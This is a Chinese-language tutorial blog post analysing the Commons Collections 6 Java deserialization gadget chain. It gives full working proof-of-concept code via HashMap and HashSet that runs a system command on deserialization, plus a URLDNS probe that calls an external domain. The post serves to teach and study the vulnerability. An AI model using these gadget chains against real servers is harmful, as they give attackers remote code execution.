背景 在前面关于 CommonsCollections1 链的两篇文章中,都提到了该链的利用是需要 JDK 版本小于 8u71,这一限制会降低此链在实战中的利用率。
有一条常用链不受 JDK 版本的限制,即 CommonsCollections6 链(后续简称 CC6 链),CC6 与 CC1 相比,Kick-off 入口类发生了变化,还增加了一个TiedMapEntry中间 Gadget 链,后续的LazyMap中间 Gadget 链和 Sink 依旧没变,对于部分重复的内容,在本文将不再赘述,如果对此不够了解,建议从前两篇文章开始看起。
影响范围 虽然 CC6 链不像 CC1 那样会受到 JDK 版本的约束,但对于 Commons Collections 的版本也是要求在 3.0 以上、3.2.2 以下,即大于等于 3.1 且小于等于 3.2.1。
前情回顾 上一篇《Java 反序列化漏洞之 LazyMap 型 CC1 链》 文章中,有对LazyMap中间 Gadget 链做详细分析,通过向LazyMap#decorate方法传入一个恶意的ChainedTransformer对象作为恶意的factory,然后调用LayzMap#get方法,便会触发恶意行为。而LayzMap#get方法的触发是则是通过动态代理调用AnnotationInvocationHandler.invoke方法。
在 CC6 链中,就没有用到动态代理的技术去调用AnnotationInvocationHandler.invoke方法以触发LayzMap#get方法,而是通过TiedMapEntry#hashCode方法做到的。
TiedMapEntry#hashCode org.apache.commons.collections.keyvalue.TiedMapEntry也是 Apache Commons Collections 库中的一个类,它用于表示键值对的条目,TiedMapEntry类实现了表示映射条目的Map.Entry、表示键值对的KeyValue和用于序列化的Serializable接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getKey () { return key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
TiedMapEntry类中的hashCode方法将条目的键和值的哈希码进行异或运算,以计算条目的哈希码。在hashCode方法中有对getValue方法进行调用,而getValue中又存在map.get调用,这样便能够触发LayzMap#get。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class TiedMapEntryTest { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"open -a Calculator" }) }; Transformer tcChain = new ChainedTransformer (transformers); Map lazyMap = LazyMap.decorate(new HashMap (), tcChain); TiedMapEntry tme = new TiedMapEntry (lazyMap, "k" ); tme.hashCode(); } }
HashMap java.util.HashMap类在之前的 URLDNS 链中就已用到过,这里将其及其相关方法再一次贴出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class HashMap <K,V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } } }
只要你稍微回忆下 URLDNS 链,一种似曾相识的感觉或许就会涌现你心头。其实不光是HashMap类,上面TiedMapEntry#hashCode方法的出现,也应该能够联系到 URLDNS 链,URLDNS 链中的 Sink 就是调用的hashCode方法。
这里,也将 URLDNS 完整调用链和 POC 再次贴出来,若对 URLDNS 链不熟悉,请先回头看《Java 反序列化漏洞#URLDNS 链分析》 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class URLDNS { public static void main (String[] args) throws Exception { URL url = new URL ("http://urldns.1asj4bef1af.ipv6.bypass.eu.org" ); Class c = Class.forName("java.net.URL" ); Field f = c.getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 1 ); HashMap<URL, Integer> hashMap = new HashMap <>(); hashMap.put(url, 0 ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("urldns.ser" )); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("urldns.ser" )); ois.readObject(); } }
在此前的 URLDNS 链中,我们首先对url对象的成员变量hashCode修改成了非-1,以防在序列化时触发 DNS 查询,造成误报,然后再调用put方法,最后才会将hashCode改回-1,以在反序列化时触发 DNS 查询。
同理,在 CC 链中也需要这样的操作,由于此处涉及的是Transformer对象,那我们就可以先传入一个空ChainedTransformer至lazyMap,然后创建TiedMapEntry对象并传入这个lazyMap和一个 key,再创建HashMap对象并调用put新增TiedMapEntry对象和一个 value,最后利用反射将真正恶意的 Transformer 数组传入ChainedTransformer中。
最后的最后,还需对传入lazyMap中的键进行移除,以通过LazyMap#get方法中的 if 判断。
1 2 3 4 5 6 7 8 9 10 11 12 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
这样,在反序列化时便能够顺利地触发到LazyMap#get方法,并触发其中的transform方法调用。
综上,最终构造如下 POC。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6WithHashMap { public static void main (String[] args) throws Exception { Transformer[] evilTransformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Transformer emptyTransformers = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), emptyTransformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "k" ); Map hashMap = new HashMap (); hashMap.put(entry, "v" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(emptyTransformers, evilTransformers); lazyMap.remove("k" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CC6WithHashMap.ser" )); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CC6WithHashMap.ser" )); inputStream.readObject(); } }
HashSet 在 CC6 链中,除了java.util.HashMap类可作为 Kick-off 外,java.util.HashSet类也同样可以,只是稍显繁琐,Ysoserial 工具中的 CC6 链用到的就是这种方式。
HashSet是 Java 标准库中的一个类,具有快速添加、删除和查找等操作功能,并且实现了Set和Serializable等接口。HashSet内部实际上是通过一个HashMap实例来存储元素的,HashSet中的元素被存储为HashMap中的键,而对应的值则是一个固定的Object对象。在HashSet中,元素相当于是HashMap的键,而值则是一个占位符对象(即PRESENT常量),所以实际上HashSet只是一个对HashMap的包装,它通过键的唯一性来保证集合中不包含重复元素。
在HashSet中重写的readObject方法中,有对HashMap中的put方法进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class HashSet <E> extends AbstractSet <E> implements Set <E>, Cloneable, java.io.Serializable { static final long serialVersionUID = -5024744406713321676L ; private transient HashMap<E,Object> map; private static final Object PRESENT = new Object (); private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } } }
所以以HashSet作为 Kick-off,构造完整链的方式相比直接用HashMap,没有发生多大的变化,无非再多套一层HashSet,那么据此直接构造如下 POC 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC6WithHashSet { public static void main (String[] args) throws Exception { Transformer[] evilTransformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Transformer emptyTransformers = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), emptyTransformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "k" ); Map hashMap = new HashMap (); hashMap.put(entry, "v" ); HashSet hashSet = new HashSet (hashMap.keySet()); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(emptyTransformers, evilTransformers); lazyMap.remove("k" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CC6WithHashSet.ser" )); outputStream.writeObject(hashSet); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CC6WithHashSet.ser" )); inputStream.readObject(); } }
参考